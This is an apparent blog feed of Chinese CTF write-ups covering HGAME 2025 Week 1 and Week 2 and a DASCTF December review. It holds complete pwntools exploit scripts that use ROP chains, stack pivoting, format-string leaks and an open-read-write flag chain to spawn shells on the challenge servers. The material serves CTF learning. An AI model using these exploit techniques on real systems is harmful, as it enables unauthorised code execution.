class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hgame{see_you_next_year!!!}</span><br></pre></td></tr></tbody></table></figure>]]></content>
<summary type="html"><h1 id="signin2heap">Signin2Heap</h1>
<h2 id="vulnerabilities">Vulnerabilities</h2>
<p><img src="\2025218-HGAME-2025-Week-2-Writeup\image-20250218122102849.png"></p>
<p>存在 off-by-null 漏洞,当 <code>prev_size</code> 域复用时,可置零相邻
chunk 的 <code>prev_inuse</code> 位。</p></summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="hgame" scheme="http://summ2.link/tags/hgame/"/>
</entry>
<entry>
<title>HGAME 2025 Week 1 Writeup</title>
<link href="http://summ2.link/categories/CTF/hgame-2025-week1-wp/"/>
<id>http://summ2.link/categories/CTF/hgame-2025-week1-wp/</id>
<published>2025-02-09T16:00:00.000Z</published>
<updated>2025-02-09T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="counting-petals">counting petals</h1><h2 id="vulnerabilities">Vulnerabilities</h2><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210201014722.png"></p><p>存在越界写入漏洞。 <span id="more"></span></p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210201156997.png"></p><p>存在任意读漏洞。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210201358449.png"></p><h2 id="exploit">Exploit</h2><p>观察栈结构,构造数据使 v9=16 时令 v8,v9 为不合法的值,从而泄露栈上的 libc 地址。</p><p>第二次循环时利用任意写,构造 ROP 链。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line">p = remote(<span class="string">"node2.hgame.vidar.club"</span>,<span class="number">32442</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line">e = ELF(<span class="string">"./vuln"</span>)</span><br><span class="line">pop_rdi_off = <span class="number">0x2a3e5</span></span><br><span class="line">pop_rsi_off = <span class="number">0x2be51</span></span><br><span class="line">pop_rdx_r12_off= <span class="number">0x11f2e7</span></span><br><span class="line">p.sendlineafter(<span class="string">"How many flowers have you prepared this time?"</span>,<span class="string">"16"</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0x1400000013</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"latter:"</span>,<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">p.recvuntil(<span class="string">b"+ 1 + "</span>)</span><br><span class="line">number = p.recvuntil(<span class="string">b" +"</span>, drop=<span class="literal">True</span>)</span><br><span class="line">number = number.decode().strip()</span><br><span class="line">libc_address = <span class="built_in">int</span>(number)</span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_address))</span><br><span class="line">libc_base = libc_address - <span class="number">0x29D90</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">sys_addr = libc_base + libc.sym[<span class="string">"execve"</span>]</span><br><span class="line">binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b"/bin/sh"</span>))</span><br><span class="line">pop_rdi = libc_base + pop_rdi_off</span><br><span class="line">pop_rsi = libc_base + pop_rsi_off</span><br><span class="line">pop_rdx_r12 = libc_base + pop_rdx_r12_off</span><br><span class="line">p.sendlineafter(<span class="string">"How many flowers have you prepared this time?"</span>,<span class="string">"16"</span>)</span><br><span class="line">pause()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0x120000001a</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(pop_rdi)) </span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(binsh_addr))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(pop_rsi))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(pop_rdx_r12))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(binsh_addr))</span><br><span class="line">p.sendlineafter(<span class="string">"the flower number"</span>,<span class="built_in">str</span>(sys_addr)) </span><br><span class="line">p.sendlineafter(<span class="string">"latter:"</span>,<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="ezstack">ezstack</h1><p>根据题目所给的 <code>Dockerfile</code> 获取远程环境相应的 libc:</p><p><code>docker build -t pwn:v1 .</code></p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210202909902.png"></p><p>禁用 <code>execve</code></p><h2 id="vulnerabilities-1">Vulnerabilities</h2><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210202316276.png"></p><p>存在栈溢出漏洞。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210202406705.png"></p><p>可以修改 rbp 进行栈迁移。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210202552261.png"></p><p>有大段的可写可读段。</p><h2 id="exploit-1">Exploit</h2><p>栈迁移到恰当位置,令 <code>fd=4</code>泄露 libc 地址,并调整程序读入的长度,方便后续存放 ROP 链。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level =<span class="string">"debug"</span></span><br><span class="line">p = remote(<span class="string">"node1.hgame.vidar.club"</span>,<span class="number">32351</span>)</span><br><span class="line">e = ELF(<span class="string">"./vuln"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc-2.31.so"</span>)</span><br><span class="line">write_plt = e.plt[<span class="string">'write'</span>]</span><br><span class="line">write_got = e.got[<span class="string">'write'</span>]</span><br><span class="line">writable_addr = <span class="number">0x404154</span></span><br><span class="line">read_ret = <span class="number">0x40140f</span></span><br><span class="line">pop_rdi = <span class="number">0x401713</span></span><br><span class="line">pop_rsi_r15 = <span class="number">0x401711</span></span><br><span class="line">leave_ret = <span class="number">0x401425</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"plt:"</span>,<span class="built_in">hex</span>(write_plt))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"got:"</span>,<span class="built_in">hex</span>(write_got))</span><br><span class="line">pause()</span><br><span class="line">payload = <span class="string">b'a'</span> * <span class="number">80</span> + p64(writable_addr) + p64(read_ret)</span><br><span class="line">p.sendafter(<span class="string">"Good luck."</span>,payload)</span><br><span class="line">pause()</span><br><span class="line">payload = flat({</span><br><span class="line"> <span class="number">0x00</span>: [</span><br><span class="line"> p64(writable_addr),</span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">0x4</span>),</span><br><span class="line"> p64(pop_rsi_r15),</span><br><span class="line"> p64(write_got),p64(<span class="number">0</span>),</span><br><span class="line"> p64(write_plt), <span class="comment">#write(4,<write@got>)</span></span><br><span class="line"> p64(read_ret),</span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x50</span>: [</span><br><span class="line"> p64(writable_addr-<span class="number">0x50</span>),</span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">p.send(payload)</span><br><span class="line">write_address = u64(p.recvuntil(<span class="string">'\x00\x00'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">libc_base = write_address - <span class="number">0x10e280</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">pop_rdx_r12 = libc_base + <span class="number">0x119431</span></span><br><span class="line">pop_rsi = libc_base + <span class="number">0x2601f</span></span><br><span class="line">_read= libc_base + libc.symbols[<span class="string">"read"</span>]</span><br><span class="line">_<span class="built_in">open</span>= libc_base + libc.symbols[<span class="string">"open"</span>]</span><br><span class="line">_write= libc_base + libc.symbols[<span class="string">"write"</span>]</span><br><span class="line">payload = flat({</span><br><span class="line"> <span class="number">0x00</span>: [</span><br><span class="line"> p64(<span class="number">0x404154</span>+<span class="number">0xd0</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(<span class="number">0x404154</span>),</span><br><span class="line"> p64(pop_rdx_r12),</span><br><span class="line"> p64(<span class="number">0x200</span>),p64(<span class="number">0</span>), </span><br><span class="line"> p64(_read),<span class="comment"># read(4,buf,0x200)</span></span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x50</span>: [</span><br><span class="line"> p64(writable_addr-<span class="number">0x50</span>),</span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">pause()</span><br><span class="line">p.send(payload)</span><br><span class="line">payload = flat({</span><br><span class="line"> <span class="number">0x00</span>: [</span><br><span class="line"> p64(<span class="number">0xc0ffee</span>),</span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">0x404154</span>+<span class="number">0xe0</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(<span class="number">0</span>),</span><br><span class="line"> p64(pop_rdx_r12),</span><br><span class="line"> p64(<span class="number">0</span>),p64(<span class="number">0</span>),</span><br><span class="line"> p64(_<span class="built_in">open</span>), <span class="comment"># open(./flag,0,0)</span></span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">0x5</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(<span class="number">0x404154</span>+<span class="number">0xe0</span>),</span><br><span class="line"> p64(pop_rdx_r12),</span><br><span class="line"> p64(<span class="number">0x100</span>),p64(<span class="number">0</span>),</span><br><span class="line"> p64(_read), <span class="comment">#read(5,buf,0x100)</span></span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(<span class="number">0x4</span>),</span><br><span class="line"> p64(pop_rsi),</span><br><span class="line"> p64(<span class="number">0x404154</span>+<span class="number">0xe0</span>),</span><br><span class="line"> p64(pop_rdx_r12),</span><br><span class="line"> p64(<span class="number">0x30</span>),p64(<span class="number">0</span>),</span><br><span class="line"> p64(_write), <span class="comment">#write(4,buf,0x20)</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xd0</span>: [</span><br><span class="line"> p64(<span class="number">0x404154</span>),</span><br><span class="line"> p64(leave_ret),</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xe0</span>: [</span><br><span class="line"> <span class="string">b'./flag\x00'</span>,</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">pause()</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="format">format</h1><h2 id="vulnerabilities-2">Vulnerabilities</h2><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210203620876.png"></p><p>格式化字符串漏洞。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210203709433.png"></p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210203914463.png"></p><p>整型判断,使用无符号整型传入。输入一个负数即可绕过输入长度的限制。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210204050587.png"></p><p>可以栈迁移。</p><h2 id="exploit-2">Exploit</h2><p>使用 <code>%p</code> 泄露栈的地址,在 <code>vuln</code>函数的栈帧内写入更长的格式化字符串,然后控制 <code>rbp</code>到合适位置,溢出覆盖返回地址为格式化漏洞处,泄露 libc 地址,再次进入<code>vuln</code> 构造 ROP 链。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level =<span class="string">"debug"</span></span><br><span class="line">p = remote(<span class="string">"node1.hgame.vidar.club"</span>,<span class="number">30762</span>)</span><br><span class="line">e = ELF(<span class="string">"./vuln"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line">leave_ret = <span class="number">0x4011ee</span></span><br><span class="line">main = <span class="number">0x4011f0</span></span><br><span class="line">p.sendlineafter(<span class="string">"you have n chance to getshell"</span>,<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">p.sendlineafter(<span class="string">"type something:"</span>,<span class="string">"%p"</span>)</span><br><span class="line">p.recvuntil(<span class="string">b"you type: 0x"</span>)</span><br><span class="line">stack_addr = p.recvuntil(<span class="string">b"you have"</span>, drop=<span class="literal">True</span>)</span><br><span class="line">stack_addr = <span class="built_in">int</span>(stack_addr,<span class="number">16</span>)</span><br><span class="line">log.info(<span class="built_in">hex</span>(stack_addr))</span><br><span class="line">rbp = stack_addr + <span class="number">0x211c</span></span><br><span class="line">p.sendafter(<span class="string">"n = "</span>,<span class="string">"-1\x00"</span>)</span><br><span class="line">pause()</span><br><span class="line">payload = flat({</span><br><span class="line"> <span class="number">0x00</span>: [</span><br><span class="line"> <span class="string">b'%9$p'</span>,</span><br><span class="line"> p64(rbp),</span><br><span class="line"> p64(<span class="number">0x4012cf</span>),</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">p.sendafter(<span class="string">"type something:"</span>,payload)</span><br><span class="line">p.recvuntil(<span class="string">b"0x"</span>,drop=<span class="literal">True</span>)</span><br><span class="line">libc_addr = p.recv(<span class="number">12</span>)</span><br><span class="line">libc_addr = <span class="built_in">int</span>(libc_addr,<span class="number">16</span>)</span><br><span class="line">libc_base = libc_addr - <span class="number">0x29d90</span></span><br><span class="line">log.info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line">binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b"/bin/sh"</span>))</span><br><span class="line">sys_addr = libc_base + libc.sym[<span class="string">"system"</span>]</span><br><span class="line">pop_rdi = libc_base + <span class="number">0x2a3e5</span></span><br><span class="line">payload = flat({</span><br><span class="line"> <span class="number">0x0c</span>: [</span><br><span class="line"> p64(<span class="number">0x40101a</span>),</span><br><span class="line"> p64(pop_rdi),</span><br><span class="line"> p64(binsh_addr),</span><br><span class="line"> p64(sys_addr)</span><br><span class="line"> ]</span><br><span class="line">})</span><br><span class="line">p.sendafter(<span class="string">"type something:"</span>,payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="compress-dot-new">Compress dot new</h1><p>题目给出 Nushell 编写的 Huffman 编码,解码代码如下</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">def "decode" [tree encoded] {</span><br><span class="line"> let bits = ($encoded | split chars)</span><br><span class="line"> mut result = []</span><br><span class="line"> mut current_node = $tree</span><br><span class="line"> for bit in $bits {</span><br><span class="line"> $current_node = if $bit == '0' {</span><br><span class="line"> $current_node.a</span><br><span class="line"> } else { $current_node.b }</span><br><span class="line"> if 's' in $current_node {</span><br><span class="line"> $result ++= [$current_node.s]</span><br><span class="line"> $current_node = $tree</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> if 's' in $current_node {</span><br><span class="line"> $result ++= [$current_node.s]</span><br><span class="line"> }</span><br><span class="line"> $result | each { into binary } | bytes collect</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">def "decompress" [] {</span><br><span class="line"> let input = (open ./enc.txt --raw | split row "\n")</span><br><span class="line"> let tree = $input.0 | from json</span><br><span class="line"> let encoded_str = $input.1</span><br><span class="line"> decode $tree $encoded_str</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">decompress | save ./flag.txt --force</span><br></pre></td></tr></tbody></table></figure><p><em>部分内容参考 DeepSeek R1 生成</em></p><h1 id="turtle">Turtle</h1><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210205306105.png"></p><p>DIE 检测存在 upx 壳,使用 x64dbg 定位程序入口点后 dump 脱壳。</p><p>程序使用两次 RC4加密,依该加密算法的对称性质,第一次加密函数处传入密文得到 key。</p><p>第二次加密函数处将 <code>-=</code> patch 为<code>+=</code>,传入密文得到 flag。</p><p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210205721736.png"></p>]]></content>
<summary type="html"><h1 id="counting-petals">counting petals</h1>
<h2 id="vulnerabilities">Vulnerabilities</h2>
<p><img src="\202518-HGAME-2025-Week-1-Writeup\image-20250210201014722.png"></p>
<p>存在越界写入漏洞。</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="re" scheme="http://summ2.link/tags/re/"/>
<category term="hgame" scheme="http://summ2.link/tags/hgame/"/>
</entry>
<entry>
<title>DASCTF12 月赛复现</title>
<link href="http://summ2.link/categories/CTF/dasctf2025-12-wp/"/>
<id>http://summ2.link/categories/CTF/dasctf2025-12-wp/</id>
<published>2025-01-07T16:00:00.000Z</published>
<updated>2025-01-07T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="前言">前言</h1><p>本次 DASCTF12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。<span id="more"></span></p><h1 id="basemachine">BaseMachine</h1><h2 id="checksec">checksec</h2><figure><img src="/202518-DASCTF12月赛复现\image-20250108110826276.png" alt="保护全开"><figcaption aria-hidden="true">保护全开</figcaption></figure><h2 id="逆向分析">逆向分析</h2><figure><img src="/202518-DASCTF12月赛复现\image-20250108110920209.png" alt="main"><figcaption aria-hidden="true">main</figcaption></figure><p>读入 <code>./flag</code> 后传入<code>sub_3990</code>,图中的乱码是表情,是 IDA 的编码问题。后面是循环读入用户输入,同样传入<code>sub_3990</code>。</p><p>进入 <code>sub_3990</code> 继续分析:</p><figure><img src="/202518-DASCTF12月赛复现\image-20250108111643902.png" alt="v9"><figcaption aria-hidden="true">v9</figcaption></figure><p>根据传入的参数 <code>a1</code>, <code>a2</code>决定程序后续流程,具体是编码类型 (base64, base85...)。</p><p>有意思的是,程序将字符串的加解密流程放在在 <code>_data</code>,即数据段中。</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">v10 = ((__int64 (__fastcall *)(<span class="type">char</span> *, <span class="type">const</span> <span class="type">char</span> *))*(&off_7260 + v8))(s, a3);</span><br></pre></td></tr></tbody></table></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.data:0000000000007260 off_7260 dq offset sub_1D6A ; DATA XREF: sub_3990+155↑o</span><br><span class="line">.data:0000000000007260 ; sub_3990+1C8↑o</span><br><span class="line">.data:0000000000007268 dq offset sub_1ED6</span><br><span class="line">.data:0000000000007270 dq offset sub_22B2</span><br><span class="line">.data:0000000000007278 dq offset sub_27D4</span><br><span class="line">.data:0000000000007280 dq offset sub_2B94</span><br><span class="line">.data:0000000000007288 dq offset sub_2E17</span><br><span class="line">.data:0000000000007290 dq offset sub_3498</span><br><span class="line">.data:0000000000007290 _data ends</span><br><span class="line">.data:0000000000007290</span><br></pre></td></tr></tbody></table></figure><p>这涉及到 C 语言中<strong>函数指针</strong>的概念:</p><p>函数指针是一个指向函数的<strong>指针</strong>变量,如:</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">int</span> (*p)(<span class="type">int</span> x, <span class="type">int</span> y);</span><br></pre></td></tr></tbody></table></figure><p>具有两个整型参数,返回值是整型。</p><p>如下代码实现了通过函数指针调用函数:</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">maxValue</span> <span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> a > b ? a : b;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">int</span> (*p)(<span class="type">int</span>, <span class="type">int</span>) = <span class="literal">NULL</span>;</span><br><span class="line">p = maxValue;</span><br><span class="line"><span class="built_in">p</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br></pre></td></tr></tbody></table></figure><p>而题目程序中就是通过类似这样的函数指针数组实现的。</p><p>接着,根据与 <code>unk_73C0</code> 中的数据比较这一功能可以(应该?)推测是在计算哈希</p><figure><img src="/202518-DASCTF12月赛复现\image-20250108114221721.png" alt="wp中指出这是在计算SHA256"><figcaption aria-hidden="true">wp 中指出这是在计算 SHA256</figcaption></figure><p>如果没有找到相同的,就使用新的槽位:</p><figure><img src="/202518-DASCTF12月赛复现\image-20250108114849186.png" alt="选择最先或未使用的槽位,覆盖该槽位存储的数据"><figcaption aria-hidden="true">选择最先或未使用的槽位,覆盖该槽位存储的数据</figcaption></figure><p>存、读取哈希和密文部分:</p><p><img src="/202518-DASCTF12月赛复现\image-20250108120631350.png"></p><p>解密、输出部分:</p><figure><img src="/202518-DASCTF12月赛复现\image-20250108115753563.png" alt="是否输出由传入参数a4决定"><figcaption aria-hidden="true">是否输出由传入参数 <code>a4</code> 决定</figcaption></figure><h2 id="vulnerabilities">Vulnerabilities</h2><p>与 <code>unk_73C0</code> 读写有关的函数 <code>sub_37A4</code>中存在<strong>溢出漏洞</strong></p><figure><img src="/202518-DASCTF12月赛复现\image-20250108121903389.png" alt="数组只能储存0-5"><figcaption aria-hidden="true">数组只能储存 0-5</figcaption></figure><figure><img src="/202518-DASCTF12月赛复现\image-20250110222812447.png" alt="unk_73c0将编码类型和明文写入对应位置"><figcaption aria-hidden="true"><code>unk_73c0</code> 将编码类型和明文写入对应位置</figcaption></figure><h2 id="攻击流程">攻击流程</h2><p>以下为官方 wp 思路。</p><p>寻找具有 'b85' 开头 SHA256 值的字符串,将 flag 槽位上的哈希修改为这个值。具体实现如下(来自官方 wp):</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwncli <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">"tmux"</span>, <span class="string">"splitw"</span>, <span class="string">"-h"</span>, <span class="string">"-l"</span>, <span class="string">"122"</span>]</span><br><span class="line">local_flag = sys.argv[<span class="number">1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span> <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> local_flag == <span class="string">"remote"</span>:</span><br><span class="line"> addr = <span class="string">''</span></span><br><span class="line"> host = addr.split(<span class="string">' '</span>)</span><br><span class="line"> gift.io = remote(host[<span class="number">0</span>], host[<span class="number">1</span>])</span><br><span class="line"> gift.remote = <span class="literal">True</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> 